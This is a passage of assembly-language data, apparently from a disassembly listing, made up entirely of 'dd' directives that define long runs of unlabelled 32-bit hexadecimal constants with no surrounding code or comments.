		dd 8D6049BCh, 0D09EBB50h, 8249AEFEh, 0DB0E71DEh, 9C19F988h
		dd 5F2BEEF8h, 0BDEE6CFBh, 0FD3752B3h, 7B946849h, 155F1ACBh
		dd 0E50778BAh, 3ADEC62Ch, 33DF1917h, 1239F7EEh,	298293AAh
		dd 3E627EB7h, 0BC453444h, 0B61E7191h, 245E2481h, 39D215C0h
		dd 0F3ABA97h, 19FE50A9h, 0C130EF28h, 0E577B160h, 1C73AA6Eh
		dd 7F01975Ah, 1CE141A8h, 3C4620CDh, 6B3F4486h, 0CD15F132h
		dd 68636C2Bh, 1B2FEB1Dh, 0B885D37Fh, 461FC7D3h,	8972556Dh
		dd 0A67A62C7h, 22F94118h, 6E245235h, 7E8E5AA5h,	0BC041B27h
		dd 0D1E7B072h, 0AA39C933h, 81ED3AD9h, 0B303078Fh, 0A0F9D8CCh
		dd 0AB6EF77Dh, 0BF8A9077h, 54F0F142h, 29612937h, 445CB5EDh
		dd 85F4295Ch, 0D0F7860Bh, 235CD173h, 58B76D45h,	55C33EA5h
		dd 0E1A51CDFh, 2579FDBDh, 3A4615A8h, 869AF77Bh,	0D068799Ah
		dd 665FB8E0h, 2EE18328h, 9C404304h, 6908AE0h, 0C863EB01h
		dd 42589FE8h, 287DFF76h, 4C17CCF5h, 1FC15569h, 0E601D54Dh
		dd 0B77067CAh, 0D57F7E1Ch, 7440C67h, 0FED5691Dh, 5CEC02C8h
		dd 0EB67CC70h, 5C132F66h, 0AB4DAAD8h, 0E026A3A2h, 0F3E6E568h
		dd 0F9865E99h, 7F459A23h, 4BF6261Bh, 0A0C36B93h, 0E2A50C7h
		dd 0F9C9EB97h, 43280F1Eh, 0AE45C624h, 64476A56h, 827F7B6Dh
		dd 296BE59Dh, 0AC8A47FFh, 0F4261FFBh, 0AC2DBF58h, 16BFC2D6h
		dd 92C0BC64h, 0CF9071F9h, 7E8CBE12h, 9D72D0ACh,	0B6147E4Eh
		dd 89A7070Dh, 9828A510h, 78FC2E67h, 0FE72F532h,	17E4060Dh
		dd 0A913F085h, 99B7F5EFh, 2CAA211Ah, 7305F31Eh,	0E3635CF5h
		dd 8EE11A65h, 1595CF9Bh, 145FED10h, 0FBE1796Eh,	0F5B1F08Bh
		dd 7CFCE8BEh, 4699D910h, 0C5DA7F7Eh, 59E8B94Dh,	8E64E62h
		dd 0A140185Bh, 4F98760Dh, 5989A91Eh, 0B038C609h, 0EDD3AC8Ah
		dd 0E16F4Bh, 0B5341ABAh, 71FD7EF1h, 0C30CDEDFh,	51E50677h
		dd 569490C7h, 0B321B466h, 0EB699A00h, 55389F9Ah, 8118854Bh
		dd 66FE943Ah, 1412B8D8h, 621A3061h, 73030F05h, 40339E4Dh
		dd 947128E1h, 60B8E6AAh, 0C2710D5Fh, 0F914F424h, 85CF7358h
		dd 6A084C05h, 3904B908h, 2D0943C5h, 3941CE12h, 0D0F27FC3h
		dd 0E8452FCAh, 0C1222110h, 0F4BA7C8Bh, 31DE1E05h, 0B3709EAEh
		dd 8F88E754h, 7A8CB5CFh
		dd 34467EB9h, 49BAA8BBh, 77573F71h, 0C8B404C7h,	1ED7DB87h
		dd 831BDAA9h, 0FFDA659h, 4430DC58h, 8A8C1A72h, 2226BBA0h
		dd 37003545h, 15792453h, 809C3B99h, 74C9714h, 5F4AA5F3h
		dd 6E41B35Eh, 0F9F9FDCh, 43D4BEDEh, 8ACE0630h, 0EA2EF5F0h
		dd 0B790943h, 0BB8E5A73h, 69567D3Dh, 717323F8h,	0BCCADECAh
		dd 35998EC8h, 2490B4EBh, 0BD163D24h, 2F2EC158h,	43A6B5AFh
		dd 7BC4AEF2h, 54834A82h, 7A9F3DE9h, 5D5CDED5h, 2BBE05A1h
		dd 0FB01A422h, 0FE6A90C7h, 0C6FA68A0h, 219E18ADh, 0FD90E832h
		dd 0D93C6964h, 1D893932h, 40CCAF5Fh, 7B05F1B2h,	0D057215Ah
		dd 9B2D30B6h, 2A3E35h, 721063B3h, 729C511h, 28AB3E8Bh
		dd 0C1A74EF0h, 0B6614Dh, 9B912E0h, 55C1A99Eh, 0FF52D707h
		dd 4086CEB9h, 702B1473h, 360061E6h, 0ACBCB2FDh,	0E0EF0719h
		dd 0AC8A0913h, 0FBD3DDAAh, 0E3E635C8h, 0DDE2540h, 0C3F34EECh
		dd 0E3AD145Eh, 99941D01h, 0ACDF49E5h, 40291D44h, 4E1F88h
		dd 0D4DE57A5h, 0FC4F9C41h, 3B3A7B36h, 23B1B168h, 205841FEh
		dd 8DAE4E12h, 2B6BC9EEh, 381E89DFh, 0B5392860h,	30EA0A74h
		dd 4A3249Fh, 316B2D95h,	43648F06h, 0DC39DBD5h, 0E2ED4C90h
		dd 0DA9DD882h, 9371C82Dh, 0CC4CFAE2h, 0C4D82FBDh, 0A2F071C9h
		dd 0D28BEB60h, 9292E0Dh, 1163A312h, 6FBFFB0Dh, 0CA2479F0h
		dd 1569262h, 4F5770E8h,	0E7525503h, 51AA0C35h, 0EB3BE3Eh
		dd 0BC1E071Dh, 5086BBB7h, 85C99303h, 75A10B63h,	190880C6h
		dd 29F0669Ah, 3F9A68E4h, 0A6E9248Dh, 5F7D9840h,	1376946Bh
		dd 19AAE845h, 811746BBh, 3879F26Bh, 0B5520D19h,	25DDFCA0h
		dd 51338ADEh, 0C07247CEh, 4D9A1A80h, 9820BC41h,	9267FFB4h
		dd 6AC4727Dh, 964102A2h, 0ED9A5353h, 5A6CAC8Dh,	0AC15A092h
		dd 201134E8h, 52F4610Fh, 0A5E7B292h, 2F4A762Fh,	287E3BF3h
		dd 83CBC159h, 45A25FE0h, 0D9741297h, 90783DCFh,	455F62FBh
		dd 7D80A049h, 8E297E5Eh, 9035A311h, 6840A8BBh, 0DC7071F2h
		dd 929E59A8h, 51163DDAh, 626EFA12h, 0E132D041h,	49732130h
		dd 5212F746h, 8CB74BCBh, 84F19C33h, 74184564h, 0F1D786D2h
		dd 0A96B39Eh, 4DC886A2h, 87A80725h, 0B80BB20Fh,	0BB6F2465h
		dd 791774F9h, 930D4531h, 0B372A698h, 9E0BFFC0h,	7EA81F96h
		dd 592DB1BDh, 69B6A506h, 0BC95D362h, 3B1A67D9h,	1BD89032h
		dd 7D5629CBh, 67306641h, 0BE4AC1B9h, 0A6D728Ch,	0EC22FD7Fh
		dd 676916FBh, 4EF0B165h, 0BED86534h, 0FE6D0920h, 0EAC9900Dh
		dd 0F168A225h, 0A55FFBE0h, 0C5D03A30h, 0C41DA74Ch, 176B04B7h
		dd 67985D37h, 0FB0EAAFh, 60038AA1h, 6A7C2BFAh, 82D37F52h
		dd 614D34A7h, 41D2B4F7h, 9E075F4h, 59371391h, 2C3FDE6Bh
		dd 22A8DF5Fh, 0F207EDBDh, 74688A02h, 0D86EED56h, 1A1035Eh
		dd 1D9547B5h, 0F7FD3F39h, 7ABCC454h, 2AB9B4BBh,	9E5D2C6Dh
		dd 531962B6h, 0C4996B1Dh, 8ACD7022h, 40C8813Ah,	0D84D8994h
		dd 8D1EBA21h, 0E58DD2E0h, 0F0CA46D0h, 7FC94445h, 541C2045h
		dd 3B6D4AE6h, 0FA6C5814h, 0CB1DA253h, 0FA499A11h, 1FA9D67Ah
		dd 8C777922h, 0D0812706h, 8126EAD8h, 0DEDAA092h, 34DABBB0h
		dd 0C0A8067Ch, 568F7E11h, 0B64D68B5h, 0CDB2FB00h, 0B946DBA7h
		dd 1CF65840h, 59FE242h,	19EE3E3Bh, 0FD321B3Fh, 473098D8h
		dd 0BDD987EDh, 41BC291Bh, 8C5DE9EBh, 0BED5B53Ah, 1E6A1F87h
		dd 48783DE8h, 0C75CD31Dh, 7C73B5D8h, 699589B7h,	7264935Bh
		dd 0B473E07Ah, 9338F7F8h, 0F369BFAAh, 0F33D09A0h, 0EBF25282h
		dd 0B80A5E17h, 0D4530150h, 2FEA2847h, 0F5A0D3DCh, 3B790602h
		dd 0A0DEFD83h, 4A261596h, 0C3CBE2C3h, 7B3FFB87h, 0DCCBACF4h
		dd 0EDACD75Bh, 0A775AB52h, 0A62D811Ah, 4F50805Fh, 5AA75C14h
		dd 683F1916h, 1C350E7Dh, 5B722B2h, 77EB3869h, 7531047Ah
		dd 2063D737h, 3841FE56h, 8EBB35B4h, 0E6262838h,	46B4A6D6h
		dd 3A3FFF39h, 88A66F67h, 2C74D434h, 1792AD4Ch, 9BEA6AE8h
		dd 6AB085BAh, 0E6EBD0h,	3C4F78BAh, 0ED937868h, 0F13A39E5h
		dd 8F3D82FBh, 793348F1h, 0E588F18Bh, 0BC15C885h, 53683D89h
		dd 6F9FBC85h, 48824FA1h, 6533ABB6h, 7BFEE39Bh, 704EB621h
		dd 0C3286F7Eh, 12082E71h, 753B31D8h, 5A3A8BC4h,	262A6852h
		dd 41976CA7h, 9277710Ah, 87D489E2h, 588709Fh, 0FB65A80Bh
		dd 0D6AE049Fh, 120886EEh, 0D04FB7B8h, 0A4E11AACh, 0DFB04E07h
		dd 89BD2AD3h, 29D63A75h, 62854F6Bh, 4815861Fh, 0C87B0BD1h
		dd 0A7A18550h, 17CBF855h, 9316FA4Ah, 0FA09499Ah, 0CB0EEF01h
		dd 9ECCB3ECh, 301CC8BCh, 72274C80h, 0DBBE8FD1h,	4BFCC336h
		dd 0C5EF89ADh, 533BE6FAh, 4D142611h, 0F58776DAh, 79FD689Eh
		dd 0E48134D1h, 0BE81EB0Eh, 35665C6Eh, 33AF7B93h, 0A6FA457Bh
		dd 1A00201Dh, 0BC7E36EBh, 0EAD6F6D9h, 8EABD333h, 0CA0118D9h
		dd 2B03CC2h, 5F2F3F49h,	5338D320h, 14F36A7Eh, 469EE3E2h
		dd 0A9260058h, 0F6C88ED1h, 7F300F87h, 0C85DD64h, 873108C9h
		dd 0DF5C8237h, 4099A7CDh, 0DABDFC63h, 9022D3F1h, 5B1DC774h
		dd 7C475C7Ch, 0CC4432BFh, 0E21F4A53h, 0D80AF971h, 0CD96E400h
		dd 350FEC0Dh, 52E7D101h, 3E51B192h, 69E6F74Eh, 0CCA5B14Ch
		dd 4ED64164h, 0B68C9CD1h, 58B709DDh, 0B278D116h, 3384DE5h
		dd 0C5D469AFh, 6EFE780Eh, 4F549E5Bh, 6A6E2260h,	0A82B3F62h
		dd 4B540DB0h, 0D49AB840h, 885E9665h, 0B2E29E17h, 0DF4A52D9h
		dd 45517D8Eh, 0A788C339h, 0C7B7B805h, 744D5701h, 2081D4D1h
		dd 0B4546A6h, 516B8C4Fh, 4EC028F8h, 8BB40593h, 1E376A0Eh
		dd 7ECE986Fh, 0B49AC776h, 0EC1646D1h, 57A73CE1h, 2A1DC114h
		dd 0DFCB4605h, 0F70AE474h, 175D70DBh, 0C2643655h, 0A3ED3218h
		dd 0CC0A3299h, 0DF548107h, 10F6E704h, 0D9666D49h, 679F9DCFh
		dd 2BDBB50Ch, 1BBE4AB9h, 48D9892Ch, 6D1A48A1h, 4785C620h
		dd 0C6DBA405h, 1A9AEBF2h, 417A2E60h, 7310E76Dh,	552AAA2Eh
		dd 1426AED9h, 2E3B69D0h, 0CD3F5B3Bh, 37AEE143h,	0EED3A51Ah
		dd 27B4029Ah, 5B9AF260h, 0AD533829h, 0EB95201Ah, 0F213C27Bh
		dd 1C5A7D1Fh, 77C45CDEh, 9EE9646Eh, 2D2473C4h, 0B11D63D1h
		dd 0C6DEACE7h, 0C0DB9357h, 7FE56258h, 5CCB2FBAh, 3E5C3EC5h
		dd 0C23DF8CCh, 46108ECCh, 3418BD5Dh, 9F3BB7B6h,	0FBE79A6h
		dd 7B11F46Ah, 5B31F28Ch, 58B293D4h, 0E165058Bh,	5E7BB1D6h
		dd 857AAA51h, 0FD238BB6h, 6C52265Bh, 0F6921961h, 0AF5FF358h
		dd 0E2CA39FAh, 36C81EB5h, 0BAAE100Ch, 81863A75h, 0DC456289h
		dd 631265EBh, 0F37110E7h, 1E471A75h, 0A5848C70h, 41C5D65Fh
		dd 5E7336B0h, 19E41C22h, 923EB988h, 738C00CFh, 7CBD9EC3h
		dd 0AC5E2527h, 22D25BC2h, 0D907A8ADh, 42494DF7h, 0C070C2D2h
		dd 80D2752Dh, 0E5876EF7h, 291EDA15h, 0A858B78Bh, 3867993Dh
		dd 5F2976B9h, 0C00862D0h, 0B943E262h, 0EB8A8B5Bh, 0FDAE65EFh
		dd 0A8FC9CAAh, 442C8F2h, 6A296F08h, 1BF54F36h, 0C6283E8Bh
		dd 54F3C58h, 7C2B8132h,	4F58CB8Dh, 5B77848Ah, 6CADC7BDh
		dd 0C422C59Fh, 0C562BBEFh, 67F91F8Ch, 35D84664h, 0C4DD8CEAh
		dd 149B5025h, 0D3C922B7h, 8417207Eh, 16CE62C8h,	0A6506D05h
		dd 0BB4219D6h, 0D05DFF89h, 19E0D6E6h, 0BE0AE360h, 1254713Fh
		dd 86969BB5h, 6BE5BCE5h, 78BC5969h, 4F81D9FBh, 1F60F6C4h
		dd 5F6253ABh, 0C6650E1Ch, 0B38B3FCEh, 595A1485h, 0CA64D5B7h
		dd 0F2E307FAh, 7DDCE8B1h
		dd 66850ADAh, 172C2564h, 0BEC51EA0h, 2A0B4F21h,	7B22978Fh
		dd 31088A56h, 0EBF2A33Fh, 986D0F71h, 4BF285B4h,	2E870E56h
		dd 3ECFBD6Dh, 0EF7AC2B7h, 32131C65h, 1F97A02Fh,	0E8315F43h
		dd 1DBE26E7h, 82DB9D19h, 54BC7131h, 6C19262Dh, 0A090D97Fh
		dd 0A58583E4h, 4DCFBC9h, 6045FCDFh, 0B7F037D7h,	11B39DABh
		dd 8049D10Eh, 2BD23CF4h, 78893CCFh, 8BE207D3h, 0A0FB8AAh
		dd 4EA730DAh, 7247EE9Ch, 0B932C10Ch, 0EAE66038h, 0C3E39067h
		dd 0D8CA6219h, 0F8377AC8h, 1DFCBAh, 4515F370h, 93F027C7h
		dd 0B1D2C798h, 86400E47h, 9818B1B5h, 0BB00B279h, 48134465h
		dd 0D1F8C823h, 338D2119h, 631DCCB8h, 4A3B142Eh,	27F10C98h
		dd 44B9F77Ch, 4DDBD0Eh,	92CE408Eh, 0FDE64056h, 0EE969B4Dh
		dd 0EB679D12h, 7C70C545h, 982C1CADh, 5B40CA51h,	0DB5EB05Dh
		dd 0C859B4B9h, 0D68794FDh, 8F23B2DAh, 0D08D1CFCh, 9305EB80h
		dd 71C661CAh, 0BB63D24Dh, 4EB40A6Fh, 8A429DC3h,	71541F0Ch
		dd 0D09C3FB2h, 0CE28AA56h, 0E4C06374h, 29DBB520h, 0F294BA23h
		dd 0F2907565h, 1B32A402h, 0EF18CE2Ah, 2718DAE9h, 0F296F9EBh
		dd 43710582h, 0E5C78A6Fh, 0B6A787A2h, 99A9B86Bh, 432C616Eh
		dd 230FBBD9h, 0F290C4F5h, 0CDF3A6C9h, 0DFFCBCF2h, 2DD046B2h
		dd 643E3D88h, 0A715EDD9h, 0BE5FC4DEh, 8A9444FDh, 0B6D38BABh
		dd 99086A35h, 0F0E7EDC3h, 6278667Ah, 76062026h,	7A201F38h
		dd 2602C790h, 322CED30h, 0A35347EBh, 3AFF40F3h,	772E71CBh
		dd 0E6765A3Ch, 0A808F52h, 66C96E74h, 0B8EA43C2h, 0CF00B3D9h
		dd 8632600Eh, 0E00B75A8h, 2C2E2345h, 0FDF2DFF1h, 49B193AFh
		dd 0E9E2760Ah, 0F78DF74Ah, 6F434D8Ah, 0EEEF8DFFh, 0D6A53BA8h
		dd 8EB17A34h, 0F2899B87h, 0E52596BDh, 101BD672h, 38588130h
		dd 1C6A9A7Eh, 7B556887h, 0B2D8CE56h, 0B5A19F02h, 0BF004F09h
		dd 6692CE9h, 404F35B5h,	6F56B4CCh, 0EFFEA215h, 87CDA8A0h
		dd 8DB207E6h, 0AB915EA8h, 22E40803h, 0AC44D4BCh, 977C1C34h
		dd 61D1107Dh, 0A47B3C5Dh, 0E44FF089h, 50B0648Bh, 6BE4A234h
		dd 129901CBh, 0F4B440CCh, 17E2E11Ah, 6E75BD82h,	7C0B2FA3h
		dd 5D66D078h, 802B9AA6h, 8982931h, 0BCCAB302h, 0EB66AAEh
		dd 2FEA542h, 44C3FEF7h,	0BDE166E5h, 0EECCA96h, 5D5C691Dh
		dd 0F7ED9925h, 4C656644h, 6F7F4B60h, 622EACB9h,	0C604BFFAh
		dd 6476E49Ch, 0B1C85930h, 6F7017Ch, 991BF776h, 34A084DDh
		dd 0C6FEA344h, 4A4EF4D5h, 5C9B1B3Ch, 0E87A754Bh, 1BC32250h
		dd 877964A0h, 0FA216859h, 3670614Eh, 0AC09FB96h, 93559BDEh
		dd 1AD9DD15h, 6A1AE96Dh, 101E8270h, 0EB904592h,	0D8471A42h
		dd 0C1DEDB9Fh, 0FC5BDE0Ah, 0F93C6475h, 13F842C6h, 0E1B5BCC4h
		dd 8238BDCh, 0F6A0E9F2h, 70F582CAh, 4EA2096Eh, 0ABEFC9B4h
		dd 45BC158Ah, 9FF1239Eh, 26C7D599h, 4C3A96F9h, 0FE698A11h
		dd 0CDC0833Eh, 0E8160818h, 0E2460928h, 678B2C13h, 0FF9012F1h
		dd 95CBC2E2h, 0E94B77FAh, 0A7FA43A7h, 8323CAB9h, 9EB73607h
		dd 44E07E15h, 0AEB22454h, 5636EC35h, 0E83B3C4h,	30E93BC3h
		dd 23822E59h, 13CB24DAh, 7F1FD534h, 0F050A90Ch,	0E4618C74h
		dd 0E9C89E08h, 0BB803AE8h, 0EBA2B46Ah, 1EF479F0h, 0BAA0219h
		dd 15C36C67h, 50C6AA68h, 0CD21700Eh, 59358C08h,	94C51FF1h
		dd 1036F6B6h, 7043BAD9h, 0E905D9DFh, 0A6B80900h, 4AFBC4A4h
		dd 0C0E25610h, 3A4A1711h, 8F7D5DDAh, 2027FA78h,	73835BAFh
		dd 0D7E1F270h, 0B93C4AA0h, 0C020B489h, 200FC9E6h, 0BB2F6FFBh
		dd 9A14DAB7h, 77B270C8h, 0B3136632h, 26CAAB88h,	8B825E1Eh
		dd 90CE247Bh, 5EC97CE4h, 5118BDF5h, 0BC29820Ch,	0DE01E5E4h
		dd 0A7A3A209h, 0CD030A21h, 0A56D59B1h, 98F3D00Ch, 23CD3FE0h
		dd 0E7216B8Ah, 7B5B54C3h, 18B773CFh, 4000D3E5h,	0D6A8ABB2h
		dd 26CDDC60h, 24A56DCh,	0BD3EFE6Ch, 0BF11775Fh,	0F14E762h
		dd 640C04F4h, 3CF75F42h, 0FDD8F283h, 72689ECFh,	22873A2Eh
		dd 672F6F48h, 2A1CFDC8h, 18EDCB96h, 73CADBAAh, 60EBF0F6h
		dd 2342C5B0h, 0B437440Fh, 0ACF1F416h, 6B4063Ch,	91CA5446h
		dd 89E4BC1Dh, 0F392694Eh, 3321FC44h, 0AE6FC2D1h, 7E3A9A23h
		dd 6942F263h, 0C0BC4E46h, 281CCC5Ah, 4453FFFBh,	71C5788Fh
		dd 549E1867h, 0DC598F99h, 0F679C3FCh, 0A0840A54h, 4F67D57Bh
		dd 7AA2868Ch, 1502A962h, 1EB6B738h, 0D007903Ch,	0E9778D89h
		dd 0FDB0DFDCh, 113CB54h, 0A9F8E1DAh, 0B71F301Bh, 0E7F12D04h
		dd 0FC6D969Bh, 82F6B2C5h, 5D73FBCDh, 6A665F9h, 4138DD64h
		dd 0B8E33196h, 0A969DB3Ah, 0E32CAE6h, 1F6DDFDCh, 0D74C1F4Bh
		dd 0B7F62A9Ah, 89E34EF8h, 3DF0A53Dh, 34B1BCFFh,	144B866Fh
		dd 2FA1FF70h, 598C1282h, 0C39DDDF2h, 64F751E6h,	35DE4BB9h
		dd 8AC3B0EDh, 0FB912EFh, 3FD427F9h, 70931C33h, 9BE842F7h
		dd 517A4DACh, 21A88125h, 92259735h, 0E19B1553h,	9E5871F9h
		dd 0FD10C399h, 203834B6h, 0DC41CE37h, 4B00BF7h,	6BAD054Fh
		dd 0A4D92FD4h, 3D94A1DFh, 0E056F6A7h, 0A970F29h, 0D14AA7EBh
		dd 0DF214F08h, 87E1047Fh, 19C6A401h, 60304C0h, 88295DC2h
		dd 2DC8F59Fh, 0D513AF49h, 0A2BEFB92h, 0CF64446Fh, 82CFD7F1h
		dd 0E5C54Eh, 98C47D2Ah,	2461EA84h, 0E573304Ah, 5318393Ch
		dd 0A690F5E3h, 5F8FC658h, 96930525h, 0D7D1BA38h, 420122ACh
		dd 0B1ACFF00h, 0BB7BAF3h, 0B6646371h, 29C62CDDh, 4A242101h
		dd 1750BED5h, 0BBE4C04Ch, 0EF6191DBh, 7BBE614Eh, 407EF2Ch
		dd 41073CD5h, 0F9F01578h, 0AC57F766h, 100BC960h, 18899253h
		dd 0BD76CCBEh, 0C0F31E41h, 3B90477Bh, 0DCB18AAEh, 64B032A2h
		dd 22AE0B6h, 47BDB180h,	65FD9791h, 4643BA27h, 7FB68015h
		dd 0E14A5B7Eh, 3C8DCB94h, 0EB2948D5h, 1E33077Bh, 0E13B7528h
		dd 0EEFD82D6h, 0F6F4145h, 64DD41A8h, 0D6DBF747h, 0E57F0B8Ch
		dd 9F07445Eh, 0FD546C4Fh, 1C53A002h, 38B97077h,	0E08E3CD8h
		dd 6DAB6360h, 3088C4ECh, 0EC78703Fh, 0AACD8596h, 33DB9AE2h
		dd 0CEB18FBDh, 497DB5A9h, 95C55A3Eh, 41A2B38Dh,	0BBFE1E9Fh
		dd 0C92F9430h, 0F24BC48Eh, 0A971CBB6h, 917548C8h, 98622A06h
		dd 28939C3Fh, 9A4A4C1Ah, 21ABBEE9h, 0B15D722h, 0B67B45A9h
		dd 0A58B2560h, 9E5E4888h, 0F2B56667h, 71B4EA93h, 0CEC1084Bh
		dd 0A5CFFDDBh, 6B728237h, 3C7B85D9h, 798F3DCCh,	6AB50641h
		dd 0E119BFBFh, 66B97ECEh, 0F8519D6h, 0AC670583h, 0F3A31405h
		dd 0DD0B483Eh, 7A56E2CFh, 0B7F2871Fh, 0E1DB7546h, 0D29C0EA8h
		dd 0D055B787h, 0A94F29DEh, 0BDCC4CEh, 2ABE3733h, 75A28150h
		dd 45E9DEBh, 0B558EBBAh, 2F9C18Eh, 0D89E541h, 0E76387ACh
		dd 7614F774h, 0C740AE44h, 39213971h, 2DBEBE99h,	0C13F4319h
		dd 7946679h, 9635BF34h,	0C9D85F1Dh, 7D89D7D8h, 51D57AA5h
		dd 8AE410C7h, 79BEC86Bh, 0BEA44EC6h, 28ACB3A3h,	0ED8BE9AAh
		dd 30DAC36Ah, 0CD71E60Ah, 928F466Dh, 0B54350F9h, 2EBAEDCBh
		dd 2A100597h, 9C15C6A5h, 86879920h, 0EF3D2D06h,	92DA62F6h
		dd 5313551Ch, 0AB4500FBh, 5E3E04EBh, 0CC942912h, 4BC5D02Dh
		dd 0E0468A47h, 0A1F7A1BAh, 0B114AAFCh, 88160E79h, 3A69EE5Fh
		dd 0E8D764E0h, 0A4FF91EAh, 0CF9199B7h, 0F8E0E79Ah, 0E0477AF0h
		dd 0EA0F946Eh, 8B7B676h, 12472299h, 84A987EDh, 4FB28C21h
		dd 0A4A4DAE4h, 78ADC10h, 0C7B45371h, 4AE1C970h,	9BB06291h
		dd 39457E3h, 0F5F78076h
		dd 0B2AC586Bh, 0A6FDE88Fh, 0EEB42722h, 6C72E896h, 179E0D37h
		dd 7DC33B71h, 0F0AB7BA7h, 8F0AB2A8h, 839F7D95h,	0B47A21C6h
		dd 0B664BA49h, 0FFE8817Fh, 5CE1077Dh, 648FCDA5h, 0D490FCBAh
		dd 52FA0BBBh, 6EC0B9BEh, 55B7E809h, 4C5F6271h, 0E25E5292h
		dd 2CB67C8Ch, 499D9FCCh, 2D870A67h, 8E919010h, 0C5160C7h
		dd 20AEB5A4h, 0D642367Ah, 0CDCBC739h, 68D532BEh, 8F1943ADh
		dd 7A0B2BBBh, 598FA769h, 5CA896B4h, 3F25795Ch, 0CBCEA9FAh
		dd 50E3279Fh, 1295C666h, 0A49288C8h, 2207D778h,	949CDE5h
		dd 8DC8215Eh, 9D4FF3BEh, 0A9A9C0BEh, 398CB14Ch,	6737A259h
		dd 853FAC3Fh, 952E6E70h, 0EB2FC7B1h, 82189119h,	0D74AFBC1h
		dd 2A83509Ah, 0AB3E2B5Fh, 9AAE105Bh, 8B376233h,	4DCB36A7h
		dd 7FD6A5ACh, 943B7D07h, 14AC01EDh, 0C0FF8F34h,	83552A31h
		dd 538D573Ah, 0D7856D45h, 984043A9h, 0B9AF8C1Eh, 0FF2A96FDh
		dd 10F4A7C5h, 5A67C884h, 8402172Fh, 0FE5E14DDh,	49F25F34h
		dd 53386A66h, 0E07D1D1Ch, 5E189B6Bh, 62B37442h,	7ABD5E50h
		dd 6A337BA9h, 5AB46B51h, 54DDC1CDh, 5422EFCBh, 77B7F70Eh
		dd 1EB103E3h, 0E9A52414h, 0A37BBC66h, 0E42F23DBh, 42C2267Bh
		dd 1E3BC877h, 9E0BCD0Ch, 400E96C5h, 0CDCE1B6Ch,	0DF99D5EDh
		dd 5891A830h, 0C9FE0E80h, 0D13833B1h, 885127C2h, 58D66ADh
		dd 3E5EB0C4h, 8613CCD0h, 0AAF0AA88h, 9B51B9BFh,	7DE406BDh
		dd 2D3C59D6h, 1A97D91Bh, 7E2694CDh, 5E044168h, 638FC013h
		dd 0A126DB24h, 0B63194F2h, 0C3E36E05h, 0F5DDA69Fh, 832FDA8Bh
		dd 724EB8E7h, 8A8F3B35h, 31AB431Dh, 2DF33859h, 53DE28EBh
		dd 76F45221h, 51EB8FC3h, 3737EC4Ah, 0E779628Ch,	0DFC51F4Bh
		dd 0DA804E85h, 0E4A272B8h, 0DB3E14E8h, 3B545DD7h, 0B6816852h
		dd 0A1FE9000h, 462DE63Ch, 14C8DB55h, 0DC2191CBh, 81A2FB6Ah
		dd 0F336FECh, 11A8A53Eh, 302A16CEh, 34EE777Dh, 0AEC215BEh
		dd 387BCC12h, 0B889772Fh, 0F3DBA466h, 5C468BA7h, 0A5B9D3E8h
		dd 93A2709Bh, 966715E2h, 67AE8917h, 83837C6Ch, 509D1A67h
		dd 7CCB7C27h, 0D94D10F5h, 0CD043829h, 21C5BCFFh, 97E189C2h
		dd 8B09DC4Eh, 0AD7D240Ch, 7F2C1DAh, 3A98596h, 1BBDC277h
		dd 49F34896h, 0FC0ED700h, 0ABE22C69h, 2C6E9655h, 541C2EC2h
		dd 6F8E9C60h, 1135118Dh, 0F168F6BAh, 16F7127Ch,	0F9B9947Eh
		dd 51436D2Ah, 72B71668h, 0F64D1598h, 0D113A80Ah, 0E275A72Eh
		dd 49EF1836h, 0AA2C8379h, 98B40B7Ch, 8D4960C2h,	0C97FD582h
		dd 0A50B437Fh, 312FE635h, 5E48E459h, 4BD8ED3Dh,	67AE5EAAh
		dd 3533EC8h, 0A103F00Ch, 0C46AD660h, 22F097A2h,	0EF6C9E9Ah
		dd 39013B34h, 5F8D9C7Ch, 5774AA0Eh, 0D0D038C4h,	9E5B8A4h
		dd 236697B0h, 0AF8B40DBh, 0FAADAB61h, 0F5613B2Eh, 0E408C5D9h
		dd 82742725h, 784CFB39h, 4B4A32F6h, 8B6B9h, 0AA4CE60Ah
		dd 5A5CF28Eh, 95428B4Bh, 0A54939D8h, 0E96C0FFEh, 0C7C9F4A4h
		dd 0C9F1682Dh, 0B0D7BEE5h, 0FE29E4D1h, 0BF337037h, 0D11B85A9h
		dd 7438B57Ah, 0F9013DC2h, 0D637239Fh, 0AABADD84h, 0D0EBC1CDh
		dd 4AF0DAC2h, 1DAD492Eh, 2311CBAh, 0BFA47F1Bh, 27B6F4DCh
		dd 7835B23Ch, 0C2FB78ACh, 9DD2E305h, 5A145699h,	0E7C84DCAh
		dd 5C6722BFh, 0E17717FEh, 9A479186h, 0D873DE37h, 7D72F830h
		dd 0D8E68535h, 24E66812h, 197B9FD4h, 86A6DAD4h,	60016EDFh
		dd 0BEE56007h, 0D0917364h, 186F6C32h, 7839FC20h, 0C0E154h
		dd 95E9FDE3h, 0A704C20Eh, 67C242C6h, 0E78BF28Bh, 2EC405D5h
		dd 55B55741h, 0F2C2912Eh, 0ED9EBC85h, 0EAE9C56Eh, 62735FE6h
		dd 0C431457Fh, 82BD933Eh, 0BD2E22A3h, 895B41C5h, 3172EB23h
		dd 0F32F5264h, 0E549E54Fh, 0D0C259EAh, 62201BC6h, 0B4B3B15h
		dd 938705FDh, 8F9A7F54h, 0FBA6F2AEh, 9CB4F11Bh,	886E8759h
		dd 88B6942Ah, 6AC75096h, 7215C9A3h, 0B53DDE77h,	42889EDCh
		dd 72CE4CD2h, 42B7FDFh,	0FDCD2343h, 3E277491h, 7F6528C2h
		dd 0AC72BD5Bh, 5C705041h, 1B2BE4ADh, 65DA18D3h,	78425C04h
		dd 467F38CEh, 0A0217E10h, 483161Ah, 81E7729Ah, 51B96032h
		dd 0B224B091h, 87C7512h, 0FDBE7939h, 0B95C83C3h, 85AA038Bh
		dd 9623A007h, 0EFC26D95h, 47F8E4A8h, 117FA8C0h,	0A73304E0h
		dd 4F1AFFC7h, 0A671A099h, 0C7F530C8h, 0B7535F4Dh, 0B939BD94h
		dd 44F8AE2h, 8FC1CDF7h,	19E0A554h, 527A6B1Dh, 212B64B8h
		dd 5F99E75Fh, 3A7CD6ECh, 3E5FADD6h, 0B48B6F3Eh,	0AC0C4D14h
		dd 0CF16737Ch, 0E268544h, 66E4F8D9h, 0E417D1B3h, 7FE197Dh
		dd 0F4EBD916h, 19B8C226h, 33BFB575h, 295FBD38h,	0B08637AEh
		dd 0FC2171F0h, 0E65D082h, 76A772E1h, 0AD3D82E7h, 0F0D7561Dh
		dd 0C72A8FC7h, 5878189Dh, 5515CF45h, 590DE3A8h,	32F63FECh
		dd 44F28BA4h, 0C2955556h, 8BD0998Fh, 0D787F87Ah, 3C977288h
